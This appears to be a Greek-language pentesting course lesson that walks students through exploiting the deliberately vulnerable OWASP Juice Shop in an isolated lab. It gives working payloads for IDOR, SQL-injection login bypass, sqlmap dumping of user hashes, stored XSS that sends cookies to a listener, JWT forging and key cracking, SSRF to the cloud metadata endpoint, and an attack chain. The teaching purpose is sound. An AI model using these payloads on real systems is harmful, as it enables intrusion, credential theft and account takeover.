OWASP Top 10 — Καθοδηγούμενη επίδειξη
OWASP Juice Shop — η πιο σύγχρονη σκόπιμα ευάλωτη εφαρμογή, γραμμένη σε Angular + Node.js. Την αποσυναρμολογούμε, πέντε φορές στη σειρά, σε πέντε διαφορετικές κατηγορίες του Top 10. Κάθε φορά: αίτημα, απάντηση, αντίκτυπος.
Το Juice Shop τρέχει στο 10.10.10.50 στο lab σας host-only. Καμία
εντολή αυτού του μαθήματος δεν πάει στο Internet.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Να εκκινείτε το Juice Shop σε Docker.
- Να εκμεταλλεύεστε πέντε ευπάθειες διαφορετικών κατηγοριών.
- Να γράφετε, για την καθεμία, μια σαφή απόδειξη αντικτύπου.
- Να αλυσιδώνετε ένα IDOR + ένα αδύναμο JWT για ένα πλήρες σενάριο κλιμάκωσης.
Βήμα 0 — Εκκίνηση του Juice Shop
Σε ένα νέο VM Ubuntu στο lab, ή στο Kali:
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
Από το Kali: http://10.10.10.50:3000/ — το κατάστημα εμφανίζεται.
Ρυθμίστε το Firefox να περνά μέσω του Burp Suite (127.0.0.1:8080).
Δημιουργήστε έναν κανονικό λογαριασμό χρήστη
(victime@test.local / Test123!), συνδεθείτε. Το Burp βλέπει τα
πάντα.
Δημιουργήστε τον φάκελο αποδείξεων:
mkdir -p ~/labs/semaine-07/preuves
Βήμα 1 — A01: IDOR στα καλάθια αγορών
Παρατήρηση: το καλάθι σας έχει ID basketId=6. Κάθε χρήστης έχει
το δικό του καλάθι.
Υπόθεση: κι αν αλλάξουμε το ID;
Στο Burp HTTP history, βρείτε το αίτημα:
GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...
Send to Repeater. Αλλάξτε το 6 σε 1:
GET /rest/basket/1 HTTP/1.1
Απάντηση:
{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}
Βλέπετε το καλάθι του admin. UserId=1 = λογαριασμός admin.
Απόδειξη αντικτύπου:
Αίτημα: GET /rest/basket/1 με token κανονικού χρήστη
Απάντηση: πλήρες περιεχόμενο του καλαθιού του χρήστη ID=1 (admin)
Συνέπεια: κάθε χρήστης μπορεί να διαβάσει το καλάθι κάθε άλλου χρήστη.
Σε πραγματικό κατάστημα, αυτό ισοδυναμεί με ανάγνωση των παραγγελιών όλων των πελατών.
Αποθηκεύστε το αίτημα + την απάντηση στο preuves/A01-idor-panier.md.
Βήμα 2 — A03: SQL injection στο login
Παρατήρηση: το login έχει ένα πεδίο email, ένα πεδίο password.
Στο Burp, αναχαιτίστε το POST /rest/user/login:
{"email":"victime@test.local","password":"Test123!"}
Τροποποιήστε:
{"email":"' OR 1=1 --","password":"anything"}
Στείλτε. Απάντηση:
{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
Είστε admin. Η αυθεντικοποίηση παρακάμφθηκε: το αίτημα γίνεται
SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' →
επιστρέφει την πρώτη γραμμή, συνήθως τον admin.
Απόδειξη αντικτύπου:
Αίτημα: POST /rest/user/login με παγιδευμένο email
Αποτέλεσμα: έγκυρο token JWT για admin@juice-sh.op
Συνέπεια: πλήρης παραβίαση της εφαρμογής μέσω SQL injection
στο πεδίο email του login.
Σημειώστε το token για τη συνέχεια:
export ADMIN_TOKEN="eyJ0eXAiOi..."
Αποθηκεύστε στο preuves/A03-sqli-login.md.
Βήμα 3 — A03 (δεύτερη περίπτωση): SQL injection με sqlmap
Ας βρούμε μια πιο κλασική injection. Πλοηγηθείτε στο
http://10.10.10.50:3000/rest/products/search?q=apple. Είναι ένα
endpoint αναζήτησης.
Στο Burp, καταγράψτε το αίτημα:
GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000
Αποθηκεύστε σε αρχείο:
# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000
Εκτελέστε το sqlmap:
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
Τυπική έξοδος:
sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...
available databases [1]:
[*] SQLite_masterdb
Καλά, είναι SQLite. Καταγράφουμε τους πίνακες:
sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+
Απόσπασμα 3 χρηστών:
sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+
Απόδειξη αντικτύπου:
Εξαγωγή περιορισμένη σε 3 γραμμές (τήρηση του RoE).
Hash md5 του admin: 0192023a7bbd73250516f069df18b500
→ Αποκωδικοποιήθηκε σε 3 δευτερόλεπτα στο https://crackstation.net → κωδικός "admin123"
Συνέπεια: από μια SQL injection σε ένα δημόσιο endpoint αναζήτησης,
εξαγωγή και σπάσιμο του κωδικού admin σε < 5 λεπτά.
Βήμα 4 — A03: Αποθηκευμένο XSS στη σελίδα προφίλ
Στον λογαριασμό χρήστη σας, πηγαίνετε στο Προφίλ. Μπορείτε να αλλάξετε το όνομα χρήστη σας.
Δοκιμάστε:
<img src=x onerror="alert(document.cookie)">
Αποθηκεύστε. Ανανεώστε τη σελίδα προφίλ. Ένα pop-up εμφανίζει το cookie σας.
Pop-up = POC. Θέλουμε τον αντίκτυπο. Ας αντικαταστήσουμε με ένα payload που εξάγει:
<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">
Στο Kali, εκκινήστε έναν διακομιστή:
python3 -m http.server 8000
Ανανεώστε τη σελίδα. Το τερματικό Kali εμφανίζει:
10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -
Εξάγατε το token JWT του επισκέπτη που φόρτωσε το προφίλ σας. Σε μια κοινοτική σελίδα (feedback, forum), οποιοσδήποτε διαχειριστής επισκεφτεί το μήνυμά σας θα στείλει το token του στον διακομιστή σας.
Απόδειξη αντικτύπου:
Αποθηκευμένο XSS στο όνομα χρήστη (payload: img onerror fetch).
Το token JWT κάθε επισκέπτη (συμπεριλαμβανομένου του admin) εξάγεται στο 10.10.10.5:8000.
Συνέπεια: πλήρης υποκλοπή ταυτότητας, συμπεριλαμβανομένου του admin, μόλις
ένας συντονιστής επισκεφτεί τη σελίδα προφίλ μου.
Αποθηκεύστε στο preuves/A03-xss-stockee.md.
Βήμα 5 — A07: JWT με alg=none
Ας αποκρυπτογραφήσουμε το JWT admin που αποκτήθηκε στο βήμα 2 στο
jwt.io (ή με το jwt-cli τοπικά):
Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>
Επίθεση alg=none: αντικαθιστούμε το HS256 με none στην
κεφαλίδα, αφαιρούμε την υπογραφή.
Χειροκίνητη κατασκευή:
import base64, json
header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Έξοδος:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...
Δοκιμάστε:
curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami
Απάντηση:
{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}
Στο Juice Shop, αυτή η επίθεση δεν λειτουργεί (η βιβλιοθήκη ελέγχει), αλλά εξακολουθεί να λειτουργεί σε πολλά πραγματικά API γραμμένα με παλιούς parsers JWT.
Εναλλακτική που λειτουργεί στο Juice Shop: σπάμε το κλειδί HS256 με το Hashcat. Ανακτήστε το token, εξάγετε την υπογραφή:
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
Αν το κλειδί ανήκει στο rockyou.txt (secret, admin,
changeme…), αποκτάτε το κλειδί σε δευτερόλεπτα. Μετά πλαστογραφείτε
ένα νόμιμα υπογεγραμμένο token admin.
Απόδειξη αντικτύπου:
Επίθεση: υπογραφή JWT μαντεμένη μέσω λεξικού (hashcat -m 16500).
Κλειδί που βρέθηκε: "secret" (10 λεπτά)
Αποτέλεσμα: ικανότητα πλαστογράφησης οποιουδήποτε token για οποιονδήποτε χρήστη.
Συνέπεια: μόνιμη παραβίαση έως την περιστροφή του κλειδιού υπογραφής.
Βήμα 6 — A10: SSRF σε εισαγωγή εικόνας
Το Juice Shop έχει ένα endpoint upload που μπορεί να φορτώσει μια εικόνα από ένα URL:
POST /api/User/ HTTP/1.1
Content-Type: application/json
{"picture":"http://<ελεγχόμενο-url>"}
Δοκιμάστε με το endpoint metadata της AWS (αν και το Juice Shop δεν είναι στην AWS, προσομοιώνουμε την αρχή):
{"picture":"http://169.254.169.254/latest/meta-data/"}
Σε πραγματικό ευάλωτο instance EC2, η απάντηση θα περιείχε τα metadata, συμπεριλαμβανομένων των διαπιστευτηρίων IAM.
Για την τοπική επίδειξη, ας εκκινήσουμε έναν διακομιστή δοκιμής στο Kali:
python3 -m http.server 9000 > /tmp/reception.log &
Payload:
{"picture":"http://10.10.10.5:9000/secret.txt"}
Στείλτε. Ελέγξτε το /tmp/reception.log:
10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -
Απόδειξη: ο διακομιστής εφαρμογής όντως έστειλε ένα αίτημα στην IP που εσείς επιλέξατε. Είναι η συμπεριφορά SSRF.
Εκτεταμένη απόδειξη αντικτύπου (σε πραγματικό στόχο cloud):
Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Απάντηση: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → επιβεβαίωση του λογαριασμού AWS
aws iam list-attached-role-policies → πλήρης ορατότητα των δικαιωμάτων
Συνέπεια: μετάβαση από εφαρμοσμένη SSRF σε παραβίαση cloud.
Αποθηκεύστε στο preuves/A10-ssrf.md.
Βήμα 7 — Η αλυσίδα: XSS → κλοπή JWT admin → πλήρης κατάληψη
Ξαναλυσιδώστε για να δείξετε μια πραγματική ιστορία επίθεσης:
- Αποθηκευμένο XSS στη σελίδα προφίλ μου (βήμα 4).
- Ένας συντονιστής επισκέπτεται τη σελίδα μου.
- Το JWT του συντονιστή φεύγει προς τον διακομιστή μου
(
10.10.10.5:8000/steal?c=...). - Αντιγράφω αυτό το JWT στο
Authorization: Bearer ...στο Burp. - Όλα τα αιτήματα που κάνω τώρα εκτελούνται με την ταυτότητα του συντονιστή.
- Έχω πρόσβαση στο
/rest/admin/users, στο/rest/products/create, κλπ. - Αλλάζω την τιμή ενός προϊόντος σε
0.01 $, φτιάχνω ένα καλάθι, περνάω την παραγγελία.
Δύο μεμονωμένα ελαττώματα (XSS + απουσία MFA στον λογαριασμό admin) αλυσιδωμένα = εμπορική παραβίαση.
Αυτή η ιστορία — όχι τα μεμονωμένα payloads — είναι αυτό που περνάει στην τελική αναφορά.
Απολογισμός
Σε 90 λεπτά, στο Juice Shop:
- A01 IDOR — ανάγνωση καλαθιού admin.
- A03 SQLi login — πλήρης παράκαμψη auth.
- A03 SQLi search — εξαγωγή του πίνακα Users.
- A03 Αποθηκευμένο XSS — εξαγωγή JWT.
- A07 JWT — σπάσιμο κλειδιού HMAC.
- A10 SSRF — ο διακομιστής στέλνει ό,τι θέλω.
- Αλυσίδα επίθεσης: XSS + συνεδρία admin = εμπορική παραβίαση.
Είναι πέντε αποδείξεις αντικτύπου σε έναν φάκελο. Είναι ο τύπος περιεχομένου που βάζουμε σε μια αναφορά pentest web.
Επόμενο μάθημα: η σειρά σας. Παίρνετε το DVWA ή το Juice Shop σε πιο δύσκολο επίπεδο, ρίχνετε τουλάχιστον 3 ελαττώματα διαφορετικών κατηγοριών, με απόδειξη αντικτύπου για το καθένα.